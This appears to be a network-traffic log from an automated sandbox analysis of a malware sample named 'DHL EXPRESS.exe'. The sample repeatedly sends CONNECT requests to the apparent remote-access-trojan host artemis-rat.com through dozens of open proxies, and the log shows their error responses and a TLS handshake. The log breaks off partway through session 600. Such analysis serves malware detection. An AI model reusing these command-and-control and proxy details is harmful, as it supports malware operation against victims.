Mar 11, 2024 18:36:47.642215967 CET	708	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:47 GMT Server: Apache Content-Length: 532 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
578	192.168.2.8	51570	167.71.5.83	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.325685978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.797717094 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
579	192.168.2.8	51559	154.12.178.107	29985	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.326160908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
580	192.168.2.8	51675	104.16.106.154	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.333545923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.488137960 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
581	192.168.2.8	51510	114.255.132.60	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.335109949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.732701063 CET	1286	IN	HTTP/1.1 503 Service Unavailable Server: squid/3.5.27 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3938 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2017 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {marg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
582	192.168.2.8	51530	65.1.40.47	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.335439920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.721843958 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:47 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
583	192.168.2.8	51677	104.18.103.125	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.363857031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.518920898 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
584	192.168.2.8	51605	72.210.221.223	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.364435911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
585	192.168.2.8	51637	171.22.108.188	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.364658117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.956394911 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
586	192.168.2.8	51073	174.75.211.222	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.420675993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
587	192.168.2.8	51581	202.162.219.10	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.420763016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
588	192.168.2.8	51590	106.14.255.124	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.421253920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
589	192.168.2.8	51680	198.57.229.185	64767	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.421322107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.909528971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
590	192.168.2.8	50135	192.252.211.197	14921	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.422405958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
591	192.168.2.8	51724	172.64.86.217	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.422477007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.576668024 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
592	192.168.2.8	51567	65.1.244.232	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.422565937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.815638065 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:47 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
593	192.168.2.8	51603	218.57.210.186	9002	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.422605991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.747627020 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 17:19:04 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
594	192.168.2.8	51633	54.248.238.110	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.422724009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.691200972 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:47 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 18:36:47.691515923 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ef 41 2e ca 62 cc f0 3f a3 d8 d2 09 a0 84 a5 37 b9 f2 ca 53 81 09 5f 45 8f 25 82 8c 58 1b 56 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eA.b?7S_E%XV*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 18:36:47.960189104 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 04 fa 62 70 69 5c 9f 06 ae 58 f8 b6 71 5b b6 90 6b 42 f0 fb d3 17 ef 2b 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9bpi\Xq[kB+DOWNGRD0000H010Uartemis-rat.com0240311171243Z260311171243Z010Uartemis-rat.com0"0H0jkhXp+v
Mar 11, 2024 18:36:48.267692089 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 4c bb ce f2 11 5a 6d 76 51 31 e6 00 d1 bc 9b cd 0a ad 49 57 b3 cd 22 5d 54 b9 ef 38 77 d7 04 4c 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 0a bd 02 9e ce 79 df 92 3c ca 69 1b 7e 3a 43 da 34 a9 63 6e 84 Data Ascii: %! LZmvQ1IW"]T8wL(y<i~:C4cni
Mar 11, 2024 18:36:48.535288095 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 b7 84 ea 7c 04 55 cc 22 00 f3 98 e3 32 54 91 63 e5 3d 4a 32 68 1a 69 e5 84 12 16 e4 de f9 53 02 fa bc 44 c7 28 ab 5b 4a Data Ascii: (\|U"2Tc=J2hiSD([J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
595	192.168.2.8	51652	24.249.199.4	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.423007965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
596	192.168.2.8	51654	98.162.25.29	31679	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.424702883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
597	192.168.2.8	51711	159.65.77.168	8585	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.424927950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
598	192.168.2.8	51738	104.19.85.214	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.425287008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.579577923 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
599	192.168.2.8	51588	47.242.234.237	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.425913095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
600	192.168.2.8	51662	68.1.210.163	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
